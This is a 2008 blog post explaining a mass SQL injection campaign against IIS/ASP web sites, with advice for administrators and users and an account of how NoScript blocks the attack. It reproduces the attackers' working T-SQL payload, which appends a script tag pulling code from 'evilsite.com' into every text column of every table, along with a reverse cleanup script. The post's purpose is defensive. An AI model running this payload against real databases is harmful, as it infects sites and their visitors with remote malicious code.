Archive for April 26th, 2008

Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

  1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
  2. What can I do if I'm the administrator of an infected site?
  3. What should I do as an user to protect myself?
  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

"Exploits of a Mom" by xkcd

  1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

    Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
    That said, the attackers are targeting IIS web servers which run ASP for a reason.
    Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This is the "secret sauce" which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology -- but it's a feature, not a bug (no irony intended this time). Anyway, the chances for such "powerful" DB technology of being used in conjunction with web servers different than IIS are very low.
    So, to recap:

    1. There's no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
    2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
    3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

    In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn't really grow enough security awareness to develop safe internet-facing applications.

  2. What should I do if I'm the administrator of an infected site?

    First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
    In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it's a merely temporary work-around -- the solution is fixing the code (learn from the United Nations tale).
    If you've got no clean database backup, you could try to recover by brutally reversing the SQL attack:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );

    it locates and removes it with

    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );

    Notice that I've not tested my code above, and I'm just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
    Update: now it's debugged and "tested" (i.e. it works) on SQL Server 2005 (thanks Scott), but the "use it at your own risk" disclaimer still applies.

  3. What should I do as an user to protect myself?

    OK, this one is the easiest :)

  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

    Even if the compromised site is in your whitelist, allowed to run JavaScript, the actual attack is thrown by a tiny IFrame or a script inclusion which just pulls the malicious code from an external server in control of the attacker (usually in a Chinese or Russian domain registered for this purpose) and surely not in your whitelist. This is quite reasonable: since SQL vulnerabilities are not suitable for injecting large chunks of malicious code, and such an attack cannot write Flash applets or JavaScript files on the filesystem of the compromised server, the attacker needs to download them from somewhere else.
    Therefore NoScript's fine grained script blocking prevents them from being loaded and effectively defeats the attack.

Bad Behavior has blocked 951 access attempts in the last 7 days.